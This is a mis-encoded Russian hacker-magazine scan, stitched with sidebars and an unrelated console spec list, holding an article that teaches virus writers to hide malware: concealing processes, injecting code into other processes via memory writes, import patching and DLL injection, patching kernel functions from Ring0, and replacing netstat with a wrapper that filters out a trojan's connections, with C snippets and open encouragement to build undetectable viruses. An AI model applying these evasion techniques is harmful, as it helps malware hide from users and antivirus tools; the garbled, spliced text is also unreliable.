3. Àññåìáëèðîâàòü ôàéë.

Êðóòî, äà? Íèêàêèõ òåáå çàïèñåé â êî-
íåö ôàéëà è HLL èçâðàòîâ. Âèðóñ
ïðîñòî ðàñòâîðÿåòñÿ â òåëå ïðîãðàì-
ìû, ñòàíîâÿñü åå íåîòäåëèìîé
÷àñòüþ. Íàâåðíîå, íå íóæíî ãîâîðèòü,
÷òî àíòèâèðóñàì òóò íè÷åãî íå ñâåòèò.
ß íè÷åãî íå ñêàæó î ðåàëèçàöèè äàí-
íîãî ñïîñîáà, ò.ê. äëÿ åå îïèñàíèÿ ìíå
íå õâàòèëî áû âñåãî æóðíàëà, íî òû
ñìîæåøü íàéòè íóæíóþ èíôîðìàöèþ
íà ñòðàíè÷êå z0mbie.

ÝÏÈËÎÃ
Òåïåðü òû çíàåøü, êàê çàðàæàþò-

ñÿ ôàéëû. Äà è íå òîëüêî çíàåøü -
âïîëíå ìîæåøü ñàì çàìóòèòü ÷òî-òî
ïîäîáíîå. Íà÷àòü ñòîèò, êîíå÷íî, ñ
ïåðâîãî ñïîñîáà. Õîðîøî îñâîèâ åãî,
ìîæíî ïîïðîáîâàòü ìíîãîîáåùàþ-
ùèé ïÿòûé ñïîñîá. Íó, à åñëè òû ñîâ-
ñåì êðóòîé âèðìåéêåð, òî øåñòîé ñïî-
ñîá - òâîé âûáîð.                              A
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Íàâåðíÿêà
òû óâèäèøü
äîâîëüíî
ìíîãî íó-
ëåé. Ýòî
çàãðóç÷èê ñ
èõ ïîìîùüþ
äîïîëíÿåò
ðàçìåð ñåê-
öèè äî file
align. Èìåí-
íî íà ìåñòî
ýòèõ íóëåé
ìû è áóäåì
çàïèñû-
âàòüñÿ.

Àíòèâèðóñû íàó÷èëèñü äåòåêòèðîâàòü

z10 òîëüêî ÷åðåç ãîä ïîñëå åãî âûõîäà!

Càéò âèðìåéêåðà z0mbie

object name èìÿ ñåêöèè

virtual size 

âèðòóàëüíûé ðàçìåð ñåêöèè, 

ò.å. ðàçìåð ïîñëå çàãðóçêè 

â ïàìÿòü

Section rva àäðåñ íà÷àëà ñåêöèè â ïàìÿòè

Physical size ðàçìåð ñåêöèè íà äèñêå

Physical offset ñìåùåíèå ñåêöèè â ôàéëå

Object flags 

ôëàãè ñåêöèè, ñ ïîìîùüþ íèõ

ìîæíî óñòàíîâèòü ïðàâà

çàïèñè, ÷òåíèÿ è èñïîëíåíèÿ

ñîäåðæèìîãî ñåêöèè

www.wasm.ru/doclist.php?list=2 - îïèñàíèå ôîðìàòà PE îò
Hard Wisdom'à.

http://z0mbie.host.sk - ñàéò âèðìåéêåðà z0mbie.
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Êàñàòåíêî Èâàí aka SkyWriter (sky@real.xakep.ru)

ÏÈØÅÌ 
ÑÂÎÉ ÑÒÅËÑ
ÑÒÅËÑ-ÒÅÕÍÎËÎÃÈÈ Â ÂÈÐÓÑÀÕ

ÇÀ×ÅÌ ÍÓÆÍÛ
ÑÒÅËÑ-
ÒÅÕÍÎËÎÃÈÈ

Ïðåäñòàâëÿåøü, ñè-
äèøü òû ïàðó íåäåëü,

êîðïèøü íàä íàïèñàíèåì âèðóñà. È
âîò ïîñëå ýòîãî òû âûïóñêàåøü åãî íà
âîëþ, â èíòåðíåò. Îí æèâåò ñåáå,
ðàçìíîæàåòñÿ, çàðàæàÿ ìàøèíû íåñ-
÷àñòíûõ ëîïóõîâ. È âäðóã íàõîäèòñÿ
îäèí óìíûé þçåð, çàïóñêàåò ïðîñ-
òåíüêèé ìåíåäæåð ïðîöåññîâ è áåç
òðóäà íàõîäèò òâîé âèðóñ, ïîñëå ÷åãî
îòñûëàåò åãî â êàêóþ-íèáóäü àíòèâè-
ðóñíóþ ëàáîðàòîðèþ. À óæ òàì àíòè-
âèðóñîïèñàòåëü òðàòèò âñåãî íåñêîëü-
êî ìèíóò, ÷òîáû äîáàâèòü åãî â áàçó
ñâîåãî ñóïåðàíòèâèðóñà. È âñå. Îñòà-
åòñÿ òîëüêî ðåãóëÿðíî ïðèíîñèòü öâå-
òû íà ìîãèëó ñâîåãî òâîðåíèÿ.
Êàê æå ñ ýòèì áîðîòüñÿ? Ñóùåñòâóåò
ìíîæåñòâî ñïîñîáîâ, ïðè÷åì ïðèäó-
ìûâàòü èõ íà÷àëè ñ ñàìîãî ìîìåíòà
ïîÿâëåíèÿ àíòèâèðóñîâ, ñïîñîáíûõ
èñêàòü çàðàçó ïî ñèãíàòóðàì. Õîðîøî
èçâåñòíû òàêèå òåõíîëîãèè ñêðûòèÿ
âèðóñíîãî êîäà, êàê ïîëèìîðôèçì (â
ðàçëè÷íûõ åãî ôîðìàõ), ïðèìåíåíèå
ñòåëñ-òåõíîëîãèé. Â ýòîé ñòàòüå ìû
ðàññìîòðèì ñòåëñ-òåõíîëîãèè.
×òî æå ýòî òàêîå? Íó, íà÷íåì ñ ïåðå-
âîäà ñëîâà "ñòåëñ": by stealth - óêðàä-
êîé, âòèõîìîëêó, òàéêîì. Äåéñòâè-
òåëüíî, ýòî ñëîâî â ïîëíîé ìåðå îòðà-
æàåò ñóòü äåëà, ò.ê. çàäà÷à ñòåëñ-âèðó-
ñà ñîñòîèò èìåííî â òîì, ÷òîáû
ñêðûòü ñâîå ïðèñóòñòâèå â êîìïüþòå-
ðå îò îïåðàöèîííîé ñèñòåìû è âñåãî
ÏÎ, êîòîðîå èñïîëüçóåò åå ôóíêöèè
äëÿ äîñòóïà ê ôàéëàì, ñïèñêó ïðîöåñ-
ñîâ è ò.ï.

ÑÒÅËÑ ÄÅÄÓØÊÈ-
ÔÐÎÍÒÎÂÈÊÀ

Èòàê, ñ  ÷åãî âñå íà÷àëîñü. Ïåð-
âûå ñòåëñ-âèðóñû ïîÿâèëèñü äàâíî,
êîãäà Microsoft áûë ìàëåíüêèì, à
êîìïüþòåðû áîëüøèìè. Ìíîãèå èñ-
ïîëüçîâàëè òîãäà ïîëó÷àþùèé ðàñï-
ðîñòðàíåíèå MS-DOS. Â íåì îáæèâà-
ëàñü è çàðàçà. Ñíà÷àëà ïðîñòåéøàÿ,
à ïîòîì âñå áîëåå è áîëåå ñîâåðøåí-
íàÿ. Íî íàñêîëüêî áû íè áûëà îíà ñî-
âåðøåííà, åå âñåãäà îáíàðóæèâàë

àíòèâèðóñ. Âèðóñîïèñàòåëè ïåðåïðî-
áîâàëè âñå: êîäèðîâàíèå âèðóñîâ,
èçìåíåíèå êîäà äîïîëíåíèåì "ïóñ-
òûõ" èíñòðóêöèé, âðîäå NOP èëè ïîñ-
ëåäîâàòåëüíûõ PUSH/POP - ñî âðå-
ìåíåì òàêèå ïðèåìû ïåðåñòàâàëè
äåéñòâîâàòü.
Âîò òóò-òî è ïðèøëî âðåìÿ çàäóìàòü-
ñÿ î ñêðûòèè ïðèñóòñòâèÿ âèðóñîâ â
ÏÊ. Äåéñòâèòåëüíî, âñå ãåíèàëüíîå
ïðîñòî: çà÷åì èçîáðåòàòü õèòðåéøóþ
ñèñòåìó ìóòàöèè âèðóñà, åñëè ìîæíî
ïðîñòî ñäåëàòü òàê, ÷òîáû íèêòî íå
çíàë, ÷òî ýòîò âèðóñ â êîìïå åñòü?!
Äåëî îñòàâàëîñü çà ìàëûì: ïðèäó-
ìàòü è ðåàëèçîâàòü ñêðûâàþùóþ âè-
ðóñíûé êîä ñèñòåìó. Íåäîëãî ðàçìûø-

ëÿë íàä ýòîé çàäà÷åé âñåîáùèé ãåíèé
VX-ñöåíû. Â êîðîòêèå ñðîêè ïîÿâè-
ëèñü ïåðâûå ñòåëñ-âèðóñû.
×òî îíè äåëàëè? Ñíà÷àëà îíè áûëè
ýëåìåíòàðíû: ïåðåõâàòûâàëè ñèñòåì-
íîå ïðåðûâàíèå MS-DOS 21h è íà âû-
çîâû ÷òåíèÿ/çàïèñè ôàéëîâ ïîäñòàâ-
ëÿëè íåçàðàæåííûå ïðîãðàììû. Òàê
àíòèâèðóñû âïåðâûå îêàçàëèñü æåñ-
òîêî îáìàíóòû, îäíàêî íåíàäîëãî, äî
òåõ ïîð, ïîêà íå íàó÷èëèñü ÷èòàòü
ôàéëû ïîñðåäñòâîì BIOS.
È âîò íà÷àëàñü "ãîíêà âîîðóæåíèé",
êòî êîãî îáìàíåò: âèðóñû ïåðåõâàòû-
âàëè BIOS, àíòèâèðóñû èñïîëüçîâàëè
ïîðòû Â/Â, âèðóñû áëîêèðîâàëè ïî-
äîáíûå èíñòðóêöèè è ò.ä.
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Âðåìÿ
ñòåëñ-âèðó-
ñîâ óøëî ñ
ïîÿâëåíèåì
"ñâåðõçà-
ùèùåííîé"
ÎÑ
Microsoft
Windows.
Óøëî, íî
íàâñåãäà
ëè?

×òî æå
æäåò íàñ
çàâòðà?..

Èíòåðåñíî, ÷åì ýòî êîí÷èëîñü? Âðåìÿ
ñòåëñ-âèðóñîâ óøëî ñ ïîÿâëåíèåì
"ñâåðõçàùèùåííîé" ÎÑ Microsoft
Windows.

ÍÀÑÒÎßÙÀß ÑÈÒÓÀÖÈß
Óøëî, íî íàâñåãäà ëè? Ïðèçíàòü-

ñÿ, ÿ ìàëî ñëûøàë î âèðóñàõ ïîä
Win16. Âèäèìî, èõ ìàëî ïèñàëè, òî ëè
ïîòîìó, ÷òî â Windows 3.xx áûëî è òàê
äîñòàòî÷íî ãëþêîâ, òî ëè ïîòîìó, ÷òî
âèðüìåéêåðû íå îïðàâèëèñü åùå îò
óäàðà Microsoft. Íåÿñíî.
Íî Âûíü ðîñëà è øèðèëàñü, è, íàêî-
íåö, óäâîèëà öèôåðêó ïîñëå ñâîåãî
èìåíè: Win32 ïîëó÷àëà âñå áîëüøåå è
áîëüøåå ðàñïðîñòðàíåíèå. Âèðóñîïè-
ñàòåëè îäèí çà äðóãèì ïåðåñåëè íà
ASM ïîä Win32.
Ïðîáëåìû îêàçàëèñü â ÷åì-òî ñõîæè-
ìè ñ MS-DOS'îâñêèìè: íàäî áûëî
ñêðûòü âèðóñ. Ïðàâäà, ðåøåíèå èõ îêà-
çàëîñü íàìíîãî ñëîæíåå: âî-ïåðâûõ,
èç-çà òîãî, ÷òî Win32-ïðèëîæåíèÿ ðà-
áîòàþò èñêëþ÷èòåëüíî â ñðåäå çàùè-
ùåííîãî ðåæèìà ïðîöåññîðà, âî-âòî-
ðûõ, â Win ãîðàçäî áîëüøå ôóíêöèé
äëÿ ðàáîòû ñ îáúåêòàìè (ôàéëàìè,
ïðîöåññàìè), äà è îáúåêòîâ ñòàëî ïî-
áîëåå, à, çíà÷èò, è áîëüøå ñëåäîâ, êî-
òîðûå ìîæåò îñòàâèòü âèðóñíûé êîä.
Íî ãåíèé âèðüìåéêåðîâ è òóò èõ íå
ïîäâåë. Áåññîííûå íî÷è êîäèíãà ñäå-
ëàëè ñâîå äåëî: ñëîâî "ñòåëñ" âîçðî-
äèëîñü èç ïåïëà.
×òî æå äîëæåí ñêðûâàòü "èäåàëü-
íûé" ñîâðåìåííûé ñòåëñ-âèðóñ (áó-
äåì ñ÷èòàòü, ÷òî îí ðåçèäåíòíûé è
ðàñïðîñòðàíÿåòñÿ, ïîìèìî ïðÿìîãî
çàðàæåíèÿ ôàéëîâ, åùå è ïî e-mail)?
Äàâàé ïî ïîðÿäêó.
Âî-ïåðâûõ, îí äîëæåí ñêðûâàòü ñâîå
ïðèñóòñòâèå, êîãäà çàïóùåí, òî åñòü
ñêðûâàòü ñâîé ïðîöåññ, åñëè óæå ðà-
áîòàåò, êîíå÷íî, íå â àäðåñíîì ïðîñò-
ðàíñòâå æåðòâû. Âî-âòîðûõ, åìó íåîá-
õîäèìî ñïðÿòàòü îò ïîñòîðîííèõ ãëàç
âñå ñîåäèíåíèÿ ñ îêðóæàþùèì ìèðîì
(ïðè ðàññûëêå ñåáÿ ïî ïî÷òå). Â-òðåòü-
èõ, íèêòî íå äîëæåí âèäåòü âèðóñíûé
êîä â ôàéëàõ.
Âñå ýòî ìîæíî ñäåëàòü, ïåðåõâàòèâ
ñèñòåìíûå âûçîâû API íà êàêîì-ëèáî
óðîâíå - ëèáî íà óðîâíå ïîëüçîâàòå-
ëÿ, ëèáî íà óðîâíå ÿäðà.

ÏÐÎÖÅÑÑ, ÏÎÊÀÆÈ ËÈ×ÈÊÎ
Íà÷íåì ñî ñêðûòèÿ ïðîöåññîâ.

Ìíå âèäèòñÿ öåëûé ðÿä ñïîñîáîâ, ïðè
ïîìîùè êîòîðûõ ýòî ìîæíî ñäåëàòü.
Èòàê, ñïîñîá ïïåðâûé è ñàìûé ïðîñòîé:
íàäî ëèøü çàðåãèñòðèðîâàòü òåêóùèé
ïðîöåññ êàê ñåðâèñ, âîñïîëüçîâàâ-
øèñü ñèñòåìíîé API-ôóíêöèåé:

...
RegisterServiceProcess(NULL, 1);
....

Ïîìèìî ñêðûòèÿ èç ñïèñêà ïðîöåññîâ,
ìû ïîëó÷èì åùå îäíî ïðèÿòíîå ñâîé-
ñòâî: íàøà ñîôòèíà ïðîäîëæèò ðàáî-
òàòü äàæå ïîñëå âûõîäà ïîëüçîâàòå-
ëÿ èç ñèñòåìû. Ìèíóñ ýòîãî ñïîñîáà
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Ïîìèìî
ñêðûòèÿ èç
ñïèñêà
ïðîöåññîâ,
ìû ïîëó÷èì
åùå îäíî
ïðèÿòíîå
ñâîéñòâî...

Õî÷åøü ïîñìîòðåòü ïðîãðàììó, ìîäèôèöèðóþùóþ ÿäðî, 
â äåéñòâèè? Âíèìàòåëüíî ñëåäè çà ïðîöåññîì apihook.exe ;).
Âíåäðÿåìñÿ â ÿäðî è èñïðàâëÿåì FindXXXProcess...

...È âîçâðàùàåì âñå íà ñâîè ìåñòà!

Ñëàáî ïîâòîðèòü? ;-)
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by stealth -
óêðàäêîé,
âòèõîìîëêó,
òàéêîì

çàêëþ÷àåòñÿ â òîì, ÷òî ðàáîòàåò îí
ëèøü â Win9x, à â NT íè ê ÷åìó íå
ïðèâåäåò.
Ñïîñîá ííîìåð ääâà ñîñòîèò âî âíåäðå-
íèè â òåëî ÷óæîãî ïðîöåññà â ïàìÿòè
ïðÿìî "íà ëåòó". Òåîðåòè÷åñêè ýòî
î÷åíü ïðîñòî: íóæíî ñîçäàòü îá-
ëàñòü ïàìÿòè, êîòîðàÿ áóäåò äîñòóï-
íà æåðòâå, à çàòåì êàêèì-òî îáðàçîì
çàïóñòèòü â åå àäðåñíîì ïðîñòðàí-
ñòâå êîä, êîòîðûé ñîçäàñò åùå îäèí
òðåä, îáñëóæèâàþùèé âèðóñ. Íà
ïðàêòèêå âñå íåìíîãî ñëîæíåå ;-).
Äëÿ íà÷àëà íàì íåîáõîäèìî çàðåãè-
ñòðèðîâàòü ôðàãìåíò ïàìÿòè, â êîòî-
ðîì áóäåò ëåæàòü êîä (äëÿ ýòîãî
ìîæíî âîñïîëüçîâàòüñÿ ôóíêöèÿìè
OpenFileMapping è MapViewOfFile èç
kernel32.dll). Òóäà-òî ìû è ïîìåñòèì
êîä òðåäà, êîòîðûé áóäåò âûïîëíÿòü-
ñÿ â ïðîöåññå-æåðòâå. Òåïåðü íåîá-
õîäèìî çàñòàâèòü æåðòâó çàïóñòèòü
ýòîò òðåä. Êàê æå âûïîëíèòü êàêîé-
òî êîä â ÷óæîì àäðåñíîì ïðîñòðàí-
ñòâå? Åñòü, ïîæàëóé, äâà ïóòè: îäèí -
ýòî èñïîëüçîâàíèå
CreateRemoteThread, à âòîðîé - ýòî
çàìåíà àäðåñà êàêîé-òî èìïîðòèðî-
âàííîé èç ñèñòåìíîé áèáëèîòåêè
ôóíêöèè (íàïðèìåð, GetDC èç
gdi32.dll) íà àäðåñ ñâîåé ôóíêöèè,
ïðåäâàðèòåëüíî çàïèñàííîé â ïðî-
öåññ. Ó ïåðâîãî ïóòè ïðè âñåõ åãî ïî-
ëîæèòåëüíûõ ìîìåíòàõ (íàïðèìåð,
ïðåäåëüíîé ïðîñòîòå) îäèí ìèíóñ -
îí ðàáîòàåò ëèøü íà NT, íî òû âåäü
õî÷åøü óíèâåðñàëüíîñòè, ïðàâäà?
Ïîýòîìó ðàññìîòðèì âòîðîé.

Íå áóäåì çàîñòðÿòü âíèìàíèå íà ïî-
èñêå è îòêðûòèè õåíäëà ñàìîãî ïðî-
öåññà, à ïåðåéäåì ñðàçó ê äåëó: çàïè-
øåì â ïðîãðàììó êîä çàïóñêà òðåäà
âèðóñà. Ïîñëå ýòîãî íàì íàäî íàéòè
òàáëèöó èìïîðòèðóåìûõ ôóíêöèé
ïðîãðàììû è ïåðåïèñàòü àäðåñ îäíîé
èç èìïîðòèðîâàííûõ ôóíêöèé òàê,
÷òîáû îí óêàçûâàë íà íàø êîä çàïóñ-
êà. È òî, è äðóãîå ìîæíî ñäåëàòü ïðè
ïîìîùè ôóíêöèé ReadProcessMemory
è WriteProcessMemory. Åñòåñòâåííî,
ñòîèò ïåðåïèñûâàòü êàêóþ-òî ÷àñòî èñ-
ïîëüçóåìóþ ôóíêöèþ, íàïðèìåð,
GetMessage. Íî íå çàáóäü, ÷òî ïîñëå
çàïóñêà ñâîåãî êîäà íåîáõîäèìî âåð-
íóòü âñå íà ñâîè ìåñòà, à òî æåðòâà ïå-
ðåñòàíåò êîððåêòíî ôóíêöèîíèðîâàòü.
Òðåòèé ññïîñîá ÷óòü ëåã÷å, îí îñîáåí-
íî óäîáåí, åñëè òû ïèøåøü ñâîå äå-
òèùå íà C. Ñîñòîèò îí â òîì, ÷òîáû
âîñïîëüçîâàòüñÿ áèáëèîòåêîé
Detours îò ðàçðàáîò÷èêîâ Microsoft
;). Îíà ïîçâîëÿåò çàãðóçèòü â ÷óæîé
ïðîöåññ ñâîþ DLL-áèáëèîòåêó, à óæ
òà ìîæåò òâîðèòü âíóòðè âñå, ÷òî

óãîäíî. Ñðàâíèòå âåñü òîò áðåä, ÷òî
áûë íàïèñàí ïðî âòîðîé ñïîñîá, ñ ëà-
êîíè÷íûì êóñêîì êîäà:

// hProcess - õåíäë ïðîöåññà
// szDllPath - ïóòü ê ïîäãðóæàå-

ìîé áèáëèîòåêå
DetourContinueProcessWithDllA

(hProcess, szDllPath);

Îí çàãðóçèò â æåðòâó íàøó DLL'êó, â
ôóíêöèè ProcessAttach êîòîðîé òû
ïðîïèøåøü âñå, ÷òî ñîáèðàåøüñÿ
ñäåëàòü. Ïðîñòî, êàê ðàç-äâà-òðè.
Íåïðèÿòíî îäíî: ñ ñîáîé ïðèõîäèòñÿ
òàñêàòü öåëóþ áèáëèîòåêó ïîäãðóæà-

åìûõ áàãîâ aka DLL :), ÷òî, ñîãëàñèñü,
â âèðå - èçëèøíå.
×åòâåðòûé ññïîñîá ÿ îïèøó ëèøü
êîíöåïòóàëüíî, áåç äåòàëåé, à òî ÿ
óæ áîëüíî ñèëüíî óâëåêñÿ êîäèíãîì
:). Ýòîò ñïîñîá ñîñòîèò â ïîäìåíå
ôóíêöèè, êîòîðàÿ âûäàåò ïðèëîæå-
íèÿì ñïèñîê ïðîöåññîâ. Òî÷íåå íå
ôóíêöèè, à ðÿäà ôóíêöèé:
Process32First è Process32Next. Òóò
æå íàïðàøèâàåòñÿ èäåÿ èñïîëüçîâà-

íèÿ äëÿ ýòîãî òîé æå òåõíèêè, ÷òî è â
ïðåäûäóùèõ äâóõ ñïîñîáàõ.
Íî â èäåàëå êàæäîé ïîëüçîâàòåëüñ-
êîé ïðîãðàììå íóæíî ïîäñîâûâàòü
"èñïðàâëåííûå" âåðñèè òàêèõ ôóíê-
öèé. Êàê æå ýòî ñäåëàòü? Äåëàåòñÿ ýòî,
êàê îêàçàëîñü, íåñëîæíî è äîñòàòî÷íî
ëàêîíè÷íî. Äåëî â òîì, ÷òî èõ êîä õðà-
íèòñÿ â îäíîì ìåñòå ôèçè÷åñêîé ïàìÿ-
òè, à â êàæäûé ïðîöåññ ëèøü îòîáðà-
æàåòñÿ (ñïàñèáî äåñêðèïòîðíûì òàáëè-
öàì, î êîòîðûõ íàïèñàíî â ñòàòüå ïðî
Ring0), òàêèì îáðàçîì, îñòàåòñÿ ëèøü
èçìåíèòü ýòè ôóíêöèè â ôèçè÷åñêîé
ïàìÿòè, è ñ÷àñòüå ïðèäåò ñàìî ñîáîé!
=) Íî îáû÷íûì ñïîñîáîì ýòî ñäåëàòü
íåâîçìîæíî, ïîòîìó ÷òî ýòà îáëàñòü
çàùèùåíà îò çàïèñè. Òóïèê? Íåò! Ðå-
øåíèå âñå-òàêè ñóùåñòâóåò.
Îíî ñîñòîèò â ïåðåõîäå íà áîëåå ãëó-
áîêèé óðîâåíü Windows, íà óðîâåíü
ÿäðà èëè â òàê íàçûâàåìîå íóëåâîå
êîëüöî çàùèòû (Ring0). Íàõîäÿñü
èìåííî â ýòîì óðîâíå, ìû ìîæåì äå-
ëàòü òî, ÷òî îáû÷íûì ïðîãðàììêàì
íà Visual Basic'å è íå ñíèëîñü, ìû ìî-

æåì èçìåíÿòü ôèçè÷åñêóþ ïàìÿòü, â
òîì ÷èñëå è íàøè ôóíêöèè. Êàê ïî-
ïàñòü â íóëåâîå êîëüöî çàùèòû? Äëÿ
ýòîãî ñóùåñòâóåò ñïåöèàëüíûé ìåõà-
íèçì ýñêàëàöèè ïðèâèëåãèé â ïðîöåñ-
ñîðàõ ôèðìû Intel.
Ýòîò ñïîñîá, õîòÿ è äîñòàòî÷íî ïðîñò â
îïèñàíèè, íà ïðàêòèêå îêàçûâàåòñÿ ñà-
ìûì ñëîæíûì, ïîòîìó êàê ïðîãðàììè-
ðîâàíèå íà óðîâíå ÿäðà - ýòî õîæäå-
íèå ïî ëåçâèþ áðèòâû, ÷óòü ÷òî íå òàê,
è íàáëþäàåøü çà êðàñèâûì ñèíèì ýê-
ðàíîì :). Íî çàòî ýòî è åäèíñòâåííûé
ïî-íàñòîÿùåìó íàäåæíûé ïóòü. Â ñà-
ìîì äåëå, êàêîìó àíòèâèðóñó çàõî÷åò-
ñÿ êîïàòüñÿ â ïó÷èíàõ êåðíåëà?

À ÊÎÍÍÅÊÒ-ÒÎ - ÂÎÒ ÎÍ!
Èòàê, ìû ñêðûëè ïðîöåññ, íî ýòî

åùå äàëåêî íå âñå. Êàê òîëüêî òâîé ïè-
òîìåö ïîïûòàåòñÿ ïîäêëþ÷èòüñÿ ê êà-
êîìó-íèáóäü õîñòó â èíòåðíåòå, þçåð,
íàó÷åííûé ñòàòüåé ïðî çàùèòó îò çà-
ðàçû ;-), âîñïîëüçóåòñÿ óòèëèòîé net-
stat, óâèäèò ïîäîçðèòåëüíûå êîííåêòû
ñî ñâîåãî êîìïà è òóò æå ïåðåñòàâèò
Âèíäó. Îáèäíî, ïðàâäà? Îñîáåííî, åñ-
ëè òû ïàðó íåäåëü ïàðèëñÿ è ïèñàë ìî-
äóëü äëÿ êîâûðÿíèÿ â êåðíåëå.
Õîðîøî, áîðåìñÿ ñ netstat'îì:
Íó, âî-ïåðâûõ, ìîæíî "èñïðàâèòü áàãè"
èëè ïîïðîñòó óäàëèòü ñàì netstat. Óäà-
ëÿòü - ýòî ñîâñåì ïî-ëàìåðñêè, ïîýòîìó
áóäåì îòñòðåëèâàòü áàãè, à èìåííî:
íóæíî çàñòàâèòü netstat íå ãîâîðèòü î
òåõ êîííåêòàõ, êîòîðûå ó íàñ åñòü. Ñäå-
ëàòü ýòî ìîæíî, íàïðèìåð, òàê: ïåðåè-
ìåíîâûâàåì netstat.exe âî ÷òî-íèáóäü
åùå, âìåñòî íåãî çàïèñûâàåì ñâîé áè-
íàðíèê, êîòîðûé çàïóñêàåò îðèãèíàëü-
íûé netstat è ôèëüòðóåò åãî âûâîä.
Äåøåâî è ñåðäèòî. Ýòî ìîæíî ñäåëàòü,
íàïðèìåð, òàêèì îáðàçîì:

hSaveStdout = GetStdHandle(STD_OUT-
PUT_HANDLE);
CreatePipe(&hChildStdoutRd,
&hChildStdoutWr, &saAttr, 0);
SetStdHandle(STD_OUTPUT_HANDLE,
hChildStdoutWr);
DuplicateHandle(GetCurrentProcess(),
hChildStdoutRd, GetCurrentProcess(),
&hChildStdoutRdDup , 0, FALSE, DUPLI-
CATE_SAME_ACCESS);
CloseHandle(hChildStdoutRd); 

Ïîñëå ýòîãî ñîçäàåì ïîðîæäåííûé
ïðîöåññ (òîò ñàìûé íàñòîÿùèé net-
stat) è ÷èòàåì òî, ÷òî îí íàì âûäàåò
ïðè ïîìîùè:

ReadFile( hChildStdoutRdDup, 
chBuf, BUFSIZE, &dwRead, 
NULL);

ÀËÃÎÐÈÒÌÛ ÏÈØÅÌ ÑÂÎÉ ÑÒÅËÑ52

ïðîãðàììèðîâàíèå íà óðîâíå ÿäðà -
ýòî õîæäåíèå ïî ëåçâèþ áðèòâû, 
÷óòü ÷òî íå òàê, è íàáëþäàåøü 
çà êðàñèâûì ñèíèì ýêðàíîì :). 

Åñòåñòâåííî, ñòîèò ïåðåïèñûâàòü 
êàêóþ-òî ÷àñòî èñïîëüçóåìóþ 

ôóíêöèþ, íàïðèìåð, GetMessage. 
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Òî, ÷òî ïîëó÷àåì â áóôåðå chBuf ìîæåì óæå àíàëèçèðî-
âàòü íà ïðåäìåò íàëè÷èÿ â íåì òîãî, ÷òî ìû áû íå õîòåëè
ïîêàçûâàòü :). Íó, ñ ýòîé çàäà÷åé, ÿ äóìàþ, òû è áåç ìåíÿ
ðàçáåðåøüñÿ.
Âîò ÷òî èç ýòîãî ïîëó÷èëîñü ó ìåíÿ (âíèìàòåëüíî ñëåäè
çà ïîðòîì 3707). Âûâîä îðèãèíàëüíîãî netstat'a:

...È âûâîä èñïðàâëåííîãî:

Ïðàâäà, òàê ëó÷øå, åñëè ó÷åñòü, ÷òî òðîÿí âèñèò èìåííî
íà ïîðòó 3707? :)
Êàê àëüòåðíàòèâó ýòîìó ñïîñîáó ìîæíî ïðåäëîæèòü
ñêðûòü ñåòåâûå ïîäêëþ÷åíèÿ ïðè ïîìîùè çàìåíû ôóíê-
öèè â ÿäðå (îá ýòîì ÿ óæå ïèñàë âûøå). À çàìåíèòü íóæ-
íî ëèøü îäíó ôóíêöèþ - GetTcpTable - èìåííî îíà âîçâ-
ðàùàåò ñïèñîê TCP-ïîäêëþ÷åíèé.

À ÅÑËÈ ÍÅ ÎÒ ÊÎÃÎ ÑÊÐÛÂÀÒÜ?..
ß íåîäíîêðàòíî óïîìèíàë âñÿêèå ring 0, óðîâíè ÿäðà

è ïðî÷óþ ïîäîáíóþ åðóíäó. Ó òåáÿ, íàâåðíîå, âîçíèêëà
èäåÿ: à ïî÷åìó áû íå ñäåëàòü âèðü, êîòîðûé áû ïðîñòî
íàõîäèëñÿ â ðåçèäåíòíîì ñîñòîÿíèè â ring 0, òî åñòü ñ òå-
ìè æå ïðàâàìè, ÷òî è ÿäðî. Ýòî ïðàêòè÷åñêè èäåàëüíî
ïîçâîëèëî áû çàùèòèòüñÿ îò áîëüøèíñòâà àíòèâèðóñîâ.
Äîëæåí òåáÿ ðàçî÷àðîâàòü, òû íå ïåðâûé, êòî ïðèäóìàë
íå÷òî ïîäîáíîå. Òàêóþ èäåþ, íàïðèìåð, ðåàëèçîâûâàë
Win.CIH (aka ×åðíîáûëü). Êñòàòè, èìåííî ïîýòîìó îí îá-
ëàäàë âîçìîæíîñòüþ ñòèðàíèÿ BIOS'à. Ïðàâäà, íà ìîìåíò
íàïèñàíèÿ åãî áûë èçâåñòåí ñïîñîá ïåðåõîäà â Ring 0
ëèøü â Win9x, ñåé÷àñ äåëà îáñòîÿò õóæå: ýòîò ðåæèì ñòàë
äîñòóïåí è â WinNT, òàê ÷òî æäè íîâîãî, óëó÷øåííîãî
WinNT.CIH'a... Ïðåäñòàâëÿþ, êàê â òâîåì ìîçãó êîïîøàòñÿ
òåìíûå ìûñëè î ñîçäàíèè ñòðàøíîãî íåäåòåêòèðóåìîãî
ring0-âèðóñà. Íå îáîëüùàéñÿ, ìíîãèå ñîâðåìåííûå àíòè-
âèðóñû ðàáîòàþò â òîì æå êîëüöå çàùèòû, ïîýòîìó è òàì
òåáå ïðèäåòñÿ óêðûâàòüñÿ îò èõ çîðêîãî âçãëÿäà :-(.

ÁÓÄÓÙÅÅ ÌÀËÅÍÜÊÈÕ ÑÒÅËÑÎÂ
×òî æå æäåò íàñ çàâòðà? ß äóìàþ, ÷òî ñëåäóþùèì øàãîì

â íàïèñàíèè âèðóñîâ áóäåò ñîçäàíèå òåõíîëîãèè, ñõîæåé ñ
òåõíîëîãèåé ýâðèñòèêè â àíòèâèðóñàõ. Ïðåäñòàâü ñåáå âèðóñ,
êîòîðûé áóäåò îòëàæèâàòü âñå ïðèëîæåíèÿ â ñèñòåìå, àíà-
ëèçèðîâàòü èõ êîä è ïðèêèäûâàòü, àíòèâèðóñ ëè ýòî. È ïîäá-
ðàñûâàòü àíòèâèðóñàì çàâåäîìî ÷èñòóþ èíôîðìàöèþ. Ïî-
ìîåìó, ýòî áûëî áû â âûñøåé ñòåïåíè ìîùíîé ñèñòåìîé.
Ñòåëñîì íîâîãî ïîêîëåíèÿ. Íó ÷òî, âîçüìåìñÿ çà íåãî?
Êòî çíàåò, ìîæåò áûòü, òû áóäåøü àâòîðîì òàêîãî âèðÿ? ;-)A

Ïðîöåññîð: Intel Pentium-3 733 Mhz
Ãðàôè÷åñêèé ïðîöåññîð: 
nVidia XGPU 233 Mhz
Ïðîèçâîäèòåëüíîñòü: 125 Ìëí ïîë./ñåê
Ïàìÿòü: 64 Mb 200 Mhz DDR
Çâóê: nVidia MCPX 200 Mhz, 
256 êàíàëîâ, Dolby Digital 5.1
Ïðî÷åå: 2-5õ DVD-drive, æåñòêèé äèñê 8 Gb, 
4xUSB-ïîðòà, ñåòåâàÿ  ïëàòà 100 MBps
Âîñïðîèçâåäåíèå DVD-ôèëüìîâ

Enter the Matrix Brute Force

Pirates of the
